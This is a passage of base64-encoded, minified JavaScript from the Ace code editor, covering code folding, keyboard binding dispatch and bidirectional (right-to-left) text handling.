ZXhwb3J0cyIsIm1vZHVsZSIsImFjZS9saWIvZG9tIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiBpKGUpe2Uub24oImNsaWNrIixmdW5jdGlvbih0KXt2YXIgbj10LmdldERvY3VtZW50UG9zaXRpb24oKSxpPWUuc2Vzc2lvbixzPWkuZ2V0Rm9sZEF0KG4ucm93LG4uY29sdW1uLDEpO3MmJih0LmdldEFjY2VsS2V5KCk/aS5yZW1vdmVGb2xkKHMpOmkuZXhwYW5kRm9sZChzKSx0LnN0b3AoKSk7dmFyIG89dC5kb21FdmVudCYmdC5kb21FdmVudC50YXJnZXQ7byYmci5oYXNDc3NDbGFzcyhvLCJhY2VfaW5saW5lX2J1dHRvbiIpJiZyLmhhc0Nzc0NsYXNzKG8sImFjZV90b2dnbGVfd3JhcCIpJiYoaS5zZXRPcHRpb24oIndyYXAiLCFpLmdldFVzZVdyYXBNb2RlKCkpLGUucmVuZGVyZXIuc2Nyb2xsQ3Vyc29ySW50b1ZpZXcoKSl9KSxlLm9uKCJndXR0ZXJjbGljayIsZnVuY3Rpb24odCl7dmFyIG49ZS5yZW5kZXJlci4kZ3V0dGVyTGF5ZXIuZ2V0UmVnaW9uKHQpO2lmKG49PSJmb2xkV2lkZ2V0cyIpe3ZhciByPXQuZ2V0RG9jdW1lbnRQb3NpdGlvbigpLnJvdyxpPWUuc2Vzc2lvbjtpLmZvbGRXaWRnZXRzJiZpLmZvbGRXaWRnZXRzW3JdJiZlLnNlc3Npb24ub25Gb2xkV2lkZ2V0Q2xpY2socix0KSxlLmlzRm9jdXNlZCgpfHxlLmZvY3VzKCksdC5zdG9wKCl9fSksZS5vbigiZ3V0dGVyZGJsY2xpY2siLGZ1bmN0aW9uKHQpe3ZhciBuPWUucmVuZGVyZXIuJGd1dHRlckxheWVyLmdldFJlZ2lvbih0KTtpZihuPT0iZm9sZFdpZGdldHMiKXt2YXIgcj10LmdldERvY3VtZW50UG9zaXRpb24oKS5yb3csaT1lLnNlc3Npb24scz1pLmdldFBhcmVudEZvbGRSYW5nZURhdGEociwhMCksbz1zLnJhbmdlfHxzLmZpcnN0UmFuZ2U7aWYobyl7cj1vLnN0YXJ0LnJvdzt2YXIgdT1pLmdldEZvbGRBdChyLGkuZ2V0TGluZShyKS5sZW5ndGgsMSk7dT9pLnJlbW92ZUZvbGQodSk6KGkuYWRkRm9sZCgiLi4uIixvKSxlLnJlbmRlcmVyLnNjcm9sbEN1cnNvckludG9WaWV3KHtyb3c6by5zdGFydC5yb3csY29sdW1uOjB9KSl9dC5zdG9wKCl9fSl9dmFyIHI9ZSgiLi4vbGliL2RvbSIpO3QuRm9sZEhhbmRsZXI9aX0pLGRlZmluZSgiYWNlL2tleWJvYXJkL2tleWJpbmRpbmciLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL2tleXMiLCJhY2UvbGliL2V2ZW50Il0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1lKCIuLi9saWIva2V5cyIpLGk9ZSgiLi4vbGliL2V2ZW50Iikscz1mdW5jdGlvbihlKXt0aGlzLiRlZGl0b3I9ZSx0aGlzLiRkYXRhPXtlZGl0b3I6ZX0sdGhpcy4kaGFuZGxlcnM9W10sdGhpcy5zZXREZWZhdWx0SGFuZGxlcihlLmNvbW1hbmRzKX07KGZ1bmN0aW9uKCl7dGhpcy5zZXREZWZhdWx0SGFuZGxlcj1mdW5jdGlvbihlKXt0aGlzLnJlbW92ZUtleWJvYXJkSGFuZGxlcih0aGlzLiRkZWZhdWx0SGFuZGxlciksdGhpcy4kZGVmYXVsdEhhbmRsZXI9ZSx0aGlzLmFkZEtleWJvYXJkSGFuZGxlcihlLDApfSx0aGlzLnNldEtleWJvYXJkSGFuZGxlcj1mdW5jdGlvbihlKXt2YXIgdD10aGlzLiRoYW5kbGVycztpZih0W3QubGVuZ3RoLTFdPT1lKXJldHVybjt3aGlsZSh0W3QubGVuZ3RoLTFdJiZ0W3QubGVuZ3RoLTFdIT10aGlzLiRkZWZhdWx0SGFuZGxlcil0aGlzLnJlbW92ZUtleWJvYXJkSGFuZGxlcih0W3QubGVuZ3RoLTFdKTt0aGlzLmFkZEtleWJvYXJkSGFuZGxlcihlLDEpfSx0aGlzLmFkZEtleWJvYXJkSGFuZGxlcj1mdW5jdGlvbihlLHQpe2lmKCFlKXJldHVybjt0eXBlb2YgZT09ImZ1bmN0aW9uIiYmIWUuaGFuZGxlS2V5Ym9hcmQmJihlLmhhbmRsZUtleWJvYXJkPWUpO3ZhciBuPXRoaXMuJGhhbmRsZXJzLmluZGV4T2YoZSk7biE9LTEmJnRoaXMuJGhhbmRsZXJzLnNwbGljZShuLDEpLHQ9PXVuZGVmaW5lZD90aGlzLiRoYW5kbGVycy5wdXNoKGUpOnRoaXMuJGhhbmRsZXJzLnNwbGljZSh0LDAsZSksbj09LTEmJmUuYXR0YWNoJiZlLmF0dGFjaCh0aGlzLiRlZGl0b3IpfSx0aGlzLnJlbW92ZUtleWJvYXJkSGFuZGxlcj1mdW5jdGlvbihlKXt2YXIgdD10aGlzLiRoYW5kbGVycy5pbmRleE9mKGUpO3JldHVybiB0PT0tMT8hMToodGhpcy4kaGFuZGxlcnMuc3BsaWNlKHQsMSksZS5kZXRhY2gmJmUuZGV0YWNoKHRoaXMuJGVkaXRvciksITApfSx0aGlzLmdldEtleWJvYXJkSGFuZGxlcj1mdW5jdGlvbigpe3JldHVybiB0aGlzLiRoYW5kbGVyc1t0aGlzLiRoYW5kbGVycy5sZW5ndGgtMV19LHRoaXMuZ2V0U3RhdHVzVGV4dD1mdW5jdGlvbigpe3ZhciBlPXRoaXMuJGRhdGEsdD1lLmVkaXRvcjtyZXR1cm4gdGhpcy4kaGFuZGxlcnMubWFwKGZ1bmN0aW9uKG4pe3JldHVybiBuLmdldFN0YXR1c1RleHQmJm4uZ2V0U3RhdHVzVGV4dCh0LGUpfHwiIn0pLmZpbHRlcihCb29sZWFuKS5qb2luKCIgIil9LHRoaXMuJGNhbGxLZXlib2FyZEhhbmRsZXJzPWZ1bmN0aW9uKGUsdCxuLHIpe3ZhciBzLG89ITEsdT10aGlzLiRlZGl0b3IuY29tbWFuZHM7Zm9yKHZhciBhPXRoaXMuJGhhbmRsZXJzLmxlbmd0aDthLS07KXtzPXRoaXMuJGhhbmRsZXJzW2FdLmhhbmRsZUtleWJvYXJkKHRoaXMuJGRhdGEsZSx0LG4scik7aWYoIXN8fCFzLmNvbW1hbmQpY29udGludWU7cy5jb21tYW5kPT0ibnVsbCI/bz0hMDpvPXUuZXhlYyhzLmNvbW1hbmQsdGhpcy4kZWRpdG9yLHMuYXJncyxyKSxvJiZyJiZlIT0tMSYmcy5wYXNzRXZlbnQhPTEmJnMuY29tbWFuZC5wYXNzRXZlbnQhPTEmJmkuc3RvcEV2ZW50KHIpO2lmKG8pYnJlYWt9cmV0dXJuIW8mJmU9PS0xJiYocz17Y29tbWFuZDoiaW5zZXJ0c3RyaW5nIn0sbz11LmV4ZWMoImluc2VydHN0cmluZyIsdGhpcy4kZWRpdG9yLHQpKSxvJiZ0aGlzLiRlZGl0b3IuX3NpZ25hbCYmdGhpcy4kZWRpdG9yLl9zaWduYWwoImtleWJvYXJkQWN0aXZpdHkiLHMpLG99LHRoaXMub25Db21tYW5kS2V5PWZ1bmN0aW9uKGUsdCxuKXt2YXIgaT1yLmtleUNvZGVUb1N0cmluZyhuKTtyZXR1cm4gdGhpcy4kY2FsbEtleWJvYXJkSGFuZGxlcnModCxpLG4sZSl9LHRoaXMub25UZXh0SW5wdXQ9ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuJGNhbGxLZXlib2FyZEhhbmRsZXJzKC0xLGUpfX0pLmNhbGwocy5wcm90b3R5cGUpLHQuS2V5QmluZGluZz1zfSksZGVmaW5lKCJhY2UvbGliL2JpZGl1dGlsIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiBGKGUsdCxuLHIpe3ZhciBpPXM/ZDpwLGM9bnVsbCxoPW51bGwsdj1udWxsLG09MCxnPW51bGwseT1udWxsLGI9LTEsdz1udWxsLEU9bnVsbCxUPVtdO2lmKCFyKWZvcih3PTAscj1bXTt3PG47dysrKXJbd109UihlW3ddKTtvPXMsdT0hMSxhPSExLGY9ITEsbD0hMTtmb3IoRT0wO0U8bjtFKyspe2M9bSxUW0VdPWg9cShlLHIsVCxFKSxtPWlbY11baF0sZz1tJjI0MCxtJj0xNSx0W0VdPXY9aVttXVs1XTtpZihnPjApaWYoZz09MTYpe2Zvcih3PWI7dzxFO3crKyl0W3ddPTE7Yj0tMX1lbHNlIGI9LTE7eT1pW21dWzZdO2lmKHkpYj09LTEmJihiPUUpO2Vsc2UgaWYoYj4tMSl7Zm9yKHc9Yjt3PEU7dysrKXRbd109djtiPS0xfXJbRV09PVMmJih0W0VdPTApLG98PXZ9aWYobClmb3Iodz0wO3c8bjt3KyspaWYoclt3XT09eCl7dFt3XT1zO2Zvcih2YXIgQz13LTE7Qz49MDtDLS0pe2lmKHJbQ10hPU4pYnJlYWs7dFtDXT1zfX19ZnVuY3Rpb24gSShlLHQsbil7aWYobzxlKXJldHVybjtpZihlPT0xJiZzPT1tJiYhZil7bi5yZXZlcnNlKCk7cmV0dXJufXZhciByPW4ubGVuZ3RoLGk9MCx1LGEsbCxjO3doaWxlKGk8cil7aWYodFtpXT49ZSl7dT1pKzE7d2hpbGUodTxyJiZ0W3VdPj1lKXUrKztmb3IoYT1pLGw9dS0xO2E8bDthKyssbC0tKWM9blthXSxuW2FdPW5bbF0sbltsXT1jO2k9dX1pKyt9fWZ1bmN0aW9uIHEoZSx0LG4scil7dmFyIGk9dFtyXSxvLGMsaCxwO3N3aXRjaChpKXtjYXNlIGc6Y2FzZSB5OnU9ITE7Y2FzZSBFOmNhc2UgdzpyZXR1cm4gaTtjYXNlIGI6cmV0dXJuIHU/dzpiO2Nhc2UgVDpyZXR1cm4gdT0hMCxhPSEwLHk7Y2FzZSBOOnJldHVybiBFO2Nhc2UgQzppZihyPDF8fHIrMT49dC5sZW5ndGh8fChvPW5bci0xXSkhPWImJm8hPXd8fChjPXRbcisxXSkhPWImJmMhPXcpcmV0dXJuIEU7cmV0dXJuIHUmJihjPXcpLGM9PW8/YzpFO2Nhc2UgazpvPXI+MD9uW3ItMV06UztpZihvPT1iJiZyKzE8dC5sZW5ndGgmJnRbcisxXT09YilyZXR1cm4gYjtyZXR1cm4gRTtjYXNlIEw6aWYocj4wJiZuW3ItMV09PWIpcmV0dXJuIGI7aWYodSlyZXR1cm4gRTtwPXIrMSxoPXQubGVuZ3RoO3doaWxlKHA8aCYmdFtwXT09TClwKys7aWYocDxoJiZ0W3BdPT1iKXJldHVybiBiO3JldHVybiBFO2Nhc2UgQTpoPXQubGVuZ3RoLHA9cisxO3doaWxlKHA8aCYmdFtwXT09QSlwKys7aWYocDxoKXt2YXIgZD1lW3JdLHY9ZD49MTQyNSYmZDw9MjMwM3x8ZD09NjQyODY7bz10W3BdO2lmKHYmJihvPT15fHxvPT1UKSlyZXR1cm4geX1pZihyPDF8fChvPXRbci0xXSk9PVMpcmV0dXJuIEU7cmV0dXJuIG5bci0xXTtjYXNlIFM6cmV0dXJuIHU9ITEsZj0hMCxzO2Nhc2UgeDpyZXR1cm4gbD0hMCxFO2Nhc2UgTzpjYXNlIE06Y2FzZSBEOmNhc2UgUDpjYXNlIF86dT0hMTtjYXNlIEg6cmV0dXJuIEV9fWZ1bmN0aW9uIFIoZSl7dmFyIHQ9ZS5jaGFyQ29kZUF0KDApLG49dD4+ODtyZXR1cm4gbj09MD90PjE5MT9nOkJbdF06bj09NT8vW1x1MDU5MS1cdTA1ZjRdLy50ZXN0KGUpP3k6ZzpuPT02Py9bXHUwNjEwLVx1MDYxYVx1MDY0Yi1cdTA2NWZcdTA2ZDYtXHUwNmU0XHUwNmU3LVx1MDZlZF0vLnRlc3QoZSk/QTovW1x1MDY2MC1cdTA2NjlcdTA2NmItXHUwNjZjXS8udGVzdChlKT93OnQ9PTE2NDI/TDovW1x1MDZmMC1cdTA2ZjldLy50ZXN0KGUpP2I6VDpuPT0zMiYmdDw9ODI4Nz9qW3QmMjU1XTpuPT0yNTQ/dD49NjUxMzY/VDpFOkV9ZnVuY3Rpb24gVShlKXtyZXR1cm4gZT49Ilx1MDY0YiImJmU8PSJcdTA2NTUifXZhciByPVsiXHUwNjIxIiwiXHUwNjQxIl0saT1bIlx1MDYzYSIsIlx1MDY0YSJdLHM9MCxvPTAsdT0hMSxhPSExLGY9ITEsbD0hMSxjPSExLGg9ITEscD1bWzAsMywwLDEsMCwwLDBdLFswLDMsMCwxLDIsMiwwXSxbMCwzLDAsMTcsMiwwLDFdLFswLDMsNSw1LDQsMSwwXSxbMCwzLDIxLDIxLDQsMCwxXSxbMCwzLDUsNSw0LDIsMF1dLGQ9W1syLDAsMSwxLDAsMSwwXSxbMiwwLDEsMSwwLDIsMF0sWzIsMCwyLDEsMywyLDBdLFsyLDAsMiwzMywzLDEsMV1dLHY9MCxtPTEsZz0wLHk9MSxiPTIsdz0zLEU9NCxTPTUseD02LFQ9NyxOPTgsQz05LGs9MTAsTD0xMSxBPTEyLE89MTMsTT0xNCxfPTE1LEQ9MTYsUD0xNyxIPTE4LEI9W0gsSCxILEgsSCxILEgsSCxILHgsUyx4LE4sUyxILEgsSCxILEgsSCxILEgsSCxILEgsSCxILEgsUyxTLFMseCxOLEUsRSxMLEwsTCxFLEUsRSxFLEUsayxDLGssQyxDLGIsYixiLGIsYixiLGIsYixiLGIsQyxFLEUsRSxFLEUsRSxnLGcsZyxnLGcsZyxnLGcsZyxnLGcsZyxnLGcsZyxnLGcsZyxnLGcsZyxnLGcsZyxnLGcsRSxFLEUsRSxFLEUsZyxnLGcsZyxnLGcsZyxnLGcsZyxnLGcsZyxnLGcsZyxnLGcsZyxnLGcsZyxnLGcsZyxnLEUsRSxFLEUsSCxILEgsSCxILEgsUyxILEgsSCxILEgsSCxILEgsSCxILEgsSCxILEgsSCxILEgsSCxILEgsSCxILEgsSCxILEgsQyxFLEwsTCxMLEwsRSxFLEUsRSxnLEUsRSxILEUsRSxMLEwsYixiLEUsZyxFLEUsRSxiLGcsRSxFLEUsRSxFXSxqPVtOLE4sTixOLE4sTixOLE4sTixOLE4sSCxILEgsZyx5LEUsRSxFLEUsRSxFLEUsRSxFLEUsRSxFLEUsRSxFLEUsRSxFLEUsRSxFLEUsRSxFLE4sUyxPLE0sXyxELFAsQyxMLEwsTCxMLEwsRSxFLEUsRSxFLEUsRSxFLEUsRSxFLEUsRSxFLEUsQyxFLEUsRSxFLEUsRSxFLEUsRSxFLEUsRSxFLEUsRSxFLEUsRSxFLEUsRSxFLEUsRSxFLEUsTl07dC5MPWcsdC5SPXksdC5FTj1iLHQuT05fUj0zLHQuQU49NCx0LlJfSD01LHQuQj02LHQuUkxFPTcsdC5ET1Q9Ilx1MDBiNyIsdC5kb0JpZGlSZW9yZGVyPWZ1bmN0aW9uKGUsbixyKXtpZihlLmxlbmd0aDwyKXJldHVybnt9O3ZhciBpPWUuc3BsaXQoIiIpLG89bmV3IEFycmF5KGkubGVuZ3RoKSx1PW5ldyBBcnJheShpLmxlbmd0aCksYT1bXTtzPXI/bTp2LEYoaSxhLGkubGVuZ3RoLG4pO2Zvcih2YXIgZj0wO2Y8by5sZW5ndGg7b1tmXT1mLGYrKyk7SSgyLGEsbyksSSgxLGEsbyk7Zm9yKHZhciBmPTA7ZjxvLmxlbmd0aC0xO2YrKyluW2ZdPT09dz9hW2ZdPXQuQU46YVtmXT09PXkmJihuW2ZdPlQmJm5bZl08T3x8bltmXT09PUV8fG5bZl09PT1IKT9hW2ZdPXQuT05fUjpmPjAmJmlbZi0xXT09PSJcdTA2NDQiJiYvXHUwNjIyfFx1MDYyM3xcdTA2MjV8XHUwNjI3Ly50ZXN0KGlbZl0pJiYoYVtmLTFdPWFbZl09dC5SX0gsZisrKTtpW2kubGVuZ3RoLTFdPT09dC5ET1QmJihhW2kubGVuZ3RoLTFdPXQuQiksaVswXT09PSJcdTIwMmIiJiYoYVswXT10LlJMRSk7Zm9yKHZhciBmPTA7ZjxvLmxlbmd0aDtmKyspdVtmXT1hW29bZl1dO3JldHVybntsb2dpY2FsRnJvbVZpc3VhbDpvLGJpZGlMZXZlbHM6dX19LHQuaGFzQmlkaUNoYXJhY3RlcnM9ZnVuY3Rpb24oZSx0KXt2YXIgbj0hMTtmb3IodmFyIHI9MDtyPGUubGVuZ3RoO3IrKyl0W3JdPVIoZS5jaGFyQXQocikpLCFuJiYodFtyXT09eXx8dFtyXT09VHx8dFtyXT09dykmJihuPSEwKTtyZXR1cm4gbn0sdC5nZXRWaXN1YWxGcm9tTG9naWNhbElkeD1mdW5jdGlvbihlLHQpe2Zvcih2YXIgbj0wO248dC5sb2dpY2FsRnJvbVZpc3VhbC5sZW5ndGg7bisrKWlmKHQubG9naWNhbEZyb21WaXN1YWxbbl09PWUpcmV0dXJuIG47cmV0dXJuIDB9fSksZGVmaW5lKCJhY2UvYmlkaWhhbmRsZXIiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL2JpZGl1dGlsIiwiYWNlL2xpYi9sYW5nIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1lKCIuL2xpYi9iaWRpdXRpbCIpLGk9ZSgiLi9saWIvbGFuZyIpLHM9L1tcdTA1OTAtXHUwNWY0XHUwNjAwLVx1MDZmZlx1MDcwMC1cdTA4YWNcdTIwMkJdLyxvPWZ1bmN0aW9uKGUpe3RoaXMuc2Vzc2lvbj1lLHRoaXMuYmlkaU1hcD17fSx0aGlzLmN1cnJlbnRSb3c9bnVsbCx0aGlzLmJpZGlVdGlsPXIsdGhpcy5jaGFyV2lkdGhzPVtdLHRoaXMuRU9MPSJcdTAwYWMiLHRoaXMuc2hvd0ludmlzaWJsZXM9ITAsdGhpcy5pc1J0bERpcj0hMSx0aGlzLiRpc1J0bD0hMSx0aGlzLmxpbmU9IiIsdGhpcy53cmFwSW5kZW50PTAsdGhpcy5FT0Y9Ilx1MDBiNiIsdGhpcy5STEU9Ilx1MjAyYiIsdGhpcy5jb250ZW50V2lkdGg9MCx0aGlzLmZvbnRNZXRyaWNzPW51bGwsdGhpcy5ydGxMaW5lT2Zmc2V0PTAsdGhpcy53cmFwT2Zmc2V0PTAsdGhpcy5pc01vdmVMZWZ0T3BlcmF0aW9uPSExLHRoaXMuc2VlbkJpZGk9cy50ZXN0KGUuZ2V0VmFsdWUoKSl9OyhmdW5jdGlvbigpe3RoaXMuaXNCaWRpUm93PWZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gdGhpcy5zZWVuQmlkaT8oZSE9PXRoaXMuY3VycmVudFJvdyYmKHRoaXMuY3VycmVudFJvdz1lLHRoaXMudXBkYXRlUm93TGluZSh0LG4pLHRoaXMudXBkYXRlQmlkaU1hcCgpKSx0aGlzLmJpZGlNYXAuYmlkaUxldmVscyk6ITF9LHRoaXMub25DaGFuZ2U9ZnVuY3Rpb24oZSl7dGhpcy5zZWVuQmlkaT90aGlzLmN1cnJlbnRSb3c9bnVsbDplLmFjdGlvbj09Imluc2VydCImJnMudGVzdChlLmxpbmVzLmpvaW4oIlxuIikpJiYodGhpcy5zZWVuQmlkaT0hMCx0aGlzLmN1cnJlbnRSb3c9bnVsbCl9LHRoaXMuZ2V0RG9jdW1lbnRSb3c9ZnVuY3Rpb24oKXt2YXIgZT0wLHQ9dGhpcy5zZXNzaW9uLiRzY3JlZW5Sb3dDYWNoZTtpZih0Lmxlbmd0aCl7dmFyIG49dGhpcy5zZXNzaW9uLiRnZXRSb3dDYWNoZUluZGV4KHQsdGhpcy5jdXJyZW50Um93KTtuPj0wJiYoZT10aGlzLnNlc3Npb24uJGRvY1Jvd0NhY2hlW25dKX1yZXR1cm4gZX0sdGhpcy5nZXRTcGxpdEluZGV4PWZ1bmN0aW9uKCl7dmFyIGU9MCx0PXRoaXMuc2Vzc2lvbi4kc2NyZWVuUm93Q2FjaGU7aWYodC5sZW5ndGgpe3ZhciBuLHI9dGhpcy5zZXNzaW9uLiRnZXRSb3dDYWNoZUluZGV4KHQsdGhpcy5jdXJyZW50Um93KTt3aGlsZSh0aGlzLmN1cnJlbnRSb3ctZT4wKXtuPXRoaXMuc2Vzc2lvbi4kZ2V0Um93Q2FjaGVJbmRleCh0LHRoaXMuY3VycmVudFJvdy1lLTEpO2lmKG4hPT1yKWJyZWFrO3I9bixlKyt9fWVsc2UgZT10aGlzLmN1cnJlbnRSb3c7cmV0dXJuIGV9LHRoaXMudXBkYXRlUm93TGluZT1mdW5jdGlvbihlLHQpe2U9PT11bmRlZmluZWQmJihlPXRoaXMuZ2V0RG9jdW1lbnRSb3coKSk7dmFyIG49ZT09PXRoaXMuc2Vzc2lvbi5nZXRMZW5ndGgoKS0xLHM9bj90aGlzLkVPRjp0aGlzLkVPTDt0aGlzLndyYXBJbmRlbnQ9MCx0aGlzLmxpbmU9dGhpcy5zZXNzaW9uLmdldExpbmUoZSksdGhpcy5pc1J0bERpcj10aGlzLiRpc1J0bHx8dGhpcy5saW5lLmNoYXJBdCgwKT09PXRoaXMuUkxFO2lmKHRoaXMuc2Vzc2lvbi4kdXNlV3JhcE1vZGUpe3ZhciBvPXRoaXMuc2Vzc2lvbi4kd3JhcERhdGFbZV07byYmKHQ9PT11bmRlZmluZWQmJih0PXRoaXMuZ2V0U3BsaXRJbmRleCgpKSx0PjAmJm8ubGVuZ3RoPyh0aGlzLndyYXBJbmRlbnQ9by5pbmRlbnQsdGhpcy53cmFwT2Zmc2V0PXRoaXMud3JhcEluZGVudCp0aGlzLmNoYXJXaWR0aHNbci5MXSx0aGlzLmxpbmU9dDxvLmxlbmd0aD90aGlzLmxpbmUuc3Vic3RyaW5nKG9bdC0xXSxvW3RdKTp0aGlzLmxpbmUuc3Vic3RyaW5nKG9bby5sZW5ndGgtMV0pKTp0aGlzLmxpbmU9dGhpcy5saW5lLnN1YnN0cmluZygwLG9bdF0pLHQ9PW8ubGVuZ3RoJiYodGhpcy5saW5lKz10aGlzLnNob3dJbnZpc2libGVzP3M6ci5ET1QpKX1lbHNlIHRoaXMubGluZSs9dGhpcy5zaG93SW52aXNpYmxlcz9zOnIuRE9UO3ZhciB1PXRoaXMuc2Vzc2lvbixhPTAsZjt0aGlzLmxpbmU9dGhpcy5saW5lLnJlcGxhY2UoL1x0fFtcdTExMDAtXHUyMDI5LCBcdTIwMkYtXHVGRkU2XS9nLGZ1bmN0aW9uKGUsdCl7cmV0dXJuIGU9PT0iCSJ8fHUuaXNGdWxsV2lkdGgoZS5jaGFyQ29kZUF0KDApKT8oZj1lPT09IgkiP3UuZ2V0U2NyZWVuVGFiU2l6ZSh0K2EpOjIsYSs9Zi0xLGkuc3RyaW5nUmVwZWF0KHIuRE9ULGYpKTplfSksdGhpcy5pc1J0bERpciYmKHRoaXMuZm9udE1ldHJpY3MuJG1haW4udGV4dENvbnRlbnQ9dGhpcy5saW5lLmNoYXJBdCh0aGlzLmxpbmUubGVuZ3RoLTEpPT1yLkRPVD90aGlzLmxpbmUuc3Vic3RyKDAsdGhpcy5saW5lLmxlbmd0aC0xKTp0aGlzLmxpbmUsdGhpcy5ydGxMaW5lT2Zmc2V0PXRoaXMuY29udGVudFdpZHRoLXRoaXMuZm9udE1ldHJpY3MuJG1haW4uZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCkud2lkdGgpfSx0aGlzLnVwZGF0ZUJpZGlNYXA9ZnVuY3Rpb24oKXt2YXIgZT1bXTtyLmhhc0JpZGlDaGFyYWN0ZXJzKHRoaXMubGluZSxlKXx8dGhpcy5pc1J0bERpcj90aGlzLmJpZGlNYXA9ci5kb0JpZGlSZW9yZGVyKHRoaXMubGluZSxlLHRoaXMuaXNSdGxEaXIpOnRoaXMuYmlkaU1hcD17fX0sdGhpcy5tYXJrQXNEaXJ0eT1mdW5jdGlvbigpe3RoaXMuY3VycmVudFJvdz1udWxsfSx0aGlzLnVwZGF0ZUNoYXJhY3RlcldpZHRocz1mdW5jdGlvbihlKXtpZih0aGlzLmNoYXJhY3RlcldpZHRoPT09ZS4kY2hhcmFjdGVyU2l6ZS53aWR0aClyZXR1cm47dGhpcy5mb250TWV0cmljcz1lO3ZhciB0PXRoaXMuY2hhcmFjdGVyV2lkdGg9ZS4kY2hhcmFjdGVyU2l6ZS53aWR0aCxuPWUuJG1lYXN1cmVDaGFyV2lkdGgoIlx1MDVkNCIpO3RoaXMuY2hhcldpZHRoc1tyLkxdPXRoaXMuY2hhcldpZHRoc1tyLkVOXT10aGlzLmNoYXJXaWR0aHNbci5PTl9SXT10LHRoaXMuY2hhcldpZHRoc1tyLlJdPXRoaXMuY2hhcldpZHRoc1tyLkFOXT1uLHRoaXMuY2hhcldpZHRoc1tyLlJfSF09biouNDUsdGhpcy5jaGFyV2lkdGhzW3IuQl09dGhpcy5jaGFyV2lkdGhzW3IuUkxFXT0wLHRoaXMuY3VycmVudFJvdz1udWxsfSx0aGlzLnNldFNob3dJbnZpc2libGVzPWZ1bmN0aW9uKGUpe3RoaXMuc2hvd0ludmlzaWJsZXM9ZSx0aGlzLmN1cnJlbnRSb3c9bnVsbH0sdGhpcy5zZXRFb2xDaGFyPWZ1bmN0aW9uKGUpe3RoaXMuRU9MPWV9LHRoaXMuc2V0Q29udGVudFdpZHRoPWZ1bmN0aW9uKGUpe3RoaXMuY29udGVudFdpZHRoPWV9LHRoaXMuaXNSdGxMaW5lPWZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLiRpc1J0bD8hMDplIT11bmRlZmluZWQ/dGhpcy5zZXNzaW9uLmdldExpbmUoZSkuY2hhckF0KDApPT10aGlzLlJMRTp0aGlzLmlzUnRsRGlyfSx0aGlzLnNldFJ0bERpcmVjdGlvbj1mdW5jdGlvbihlLHQpe3ZhciBuPWUuZ2V0Q3Vyc29yUG9zaXRpb24oKTtmb3IodmFyIHI9ZS5zZWxlY3Rpb24uZ2V0U2VsZWN0aW9uQW5jaG9yKCkucm93O3I8PW4ucm93O3IrKykhdCYmZS5zZXNzaW9uLmdldExpbmUocikuY2hhckF0KDApPT09ZS5zZXNzaW9uLiRiaWRpSGFuZGxlci5STEU/ZS5zZXNzaW9uLmRvYy5yZW1vdmVJbkxpbmUociwwLDEpOnQmJmUuc2Vzc2lvbi5nZXRMaW5lKHIpLmNoYXJBdCgwKSE9PWUuc2Vzc2lvbi4kYmlkaUhhbmRsZXIuUkxFJiZlLnNlc3Npb24uZG9jLmluc2VydCh7Y29sdW1uOjAscm93OnJ9LGUuc2Vzc2lvbi4kYmlkaUhhbmRsZXIuUkxFKX0sdGhpcy5nZXRQb3NMZWZ0PWZ1bmN0aW9uKGUpe2UtPXRoaXMud3JhcEluZGVudDt2YXIgdD10aGlzLmxpbmUuY2hhckF0KDApPT09dGhpcy5STEU/MTowLG49ZT50P3RoaXMuc2Vzc2lvbi5nZXRPdmVyd3JpdGUoKT9lOmUtMTp0LGk9ci5nZXRWaXN1YWxGcm9tTG9naWNhbElkeChuLHRoaXMuYmlkaU1hcCkscz10aGlzLmJpZGlNYXAuYmlkaUxldmVscyxvPTA7IXRoaXMuc2Vzc2lvbi5nZXRPdmVyd3JpdGUoKSYmZTw9dCYmc1tpXSUyIT09MCYmaSsrO2Zvcih2YXIgdT0wO3U8aTt1Kyspbys9dGhpcy5jaGFyV2lkdGhzW3NbdV1dO3JldHVybiF0aGlzLnNlc3Npb24uZ2V0T3ZlcndyaXRlKCkmJmU+dCYmc1tpXSUyPT09MCYmKG8rPXRoaXMuY2hhcldpZHRoc1tzW2ldXSksdGhpcy53cmFwSW5kZW50JiYobys9dGhpcy5pc1J0bERpcj8tMSp0aGlzLndyYXBPZmZzZXQ6dGhpcy53cmFwT2Zmc2V0KSx0aGlzLmlzUnRsRGlyJiYobys9dGhpcy5ydGxMaW5lT2Zmc2V0KSxvfSx0aGlzLmdldFNlbGVjdGlvbnM9ZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzLmJpZGlNYXAscj1uLmJpZGlMZXZlbHMsaSxzPVtdLG89MCx1PU1hdGgubWluKGUsdCktdGhpcy53cmFwSW5kZW50LGE9TWF0aC5tYXgoZSx0KS10aGlzLndyYXBJbmRlbnQsZj0hMSxsPSExLGM9MDt0aGlzLndyYXBJbmRlbnQmJihvKz10aGlzLmlzUnRsRGlyPy0xKnRoaXMud3JhcE9mZnNldDp0aGlzLndyYXBPZmZzZXQpO2Zvcih2YXIgaCxwPTA7cDxyLmxlbmd0aDtwKyspaD1uLmxvZ2ljYWxGcm9tVmlzdWFsW3BdLGk9cltwXSxmPWg+PXUmJmg8YSxmJiYhbD9jPW86IWYmJmwmJnMucHVzaCh7bGVmdDpjLHdpZHRoOm8tY30pLG8rPXRoaXMuY2hhcldpZHRoc1tpXSxsPWY7ZiYmcD09PXIubGVuZ3RoJiZzLnB1c2goe2xlZnQ6Yyx3aWR0aDpvLWN9KTtpZih0aGlzLmlzUnRsRGlyKWZvcih2YXIgZD0wO2Q8cy5sZW5ndGg7ZCsrKXNbZF0ubGVmdCs9dGhpcy5ydGxMaW5lT2Zmc2V0O3JldHVybiBzfSx0aGlzLm9mZnNldFRvQ29sPWZ1bmN0aW9uKGUpe3RoaXMuaXNSdGxEaXImJihlLT10aGlzLnJ0bExpbmVPZmZzZXQpO3ZhciB0PTA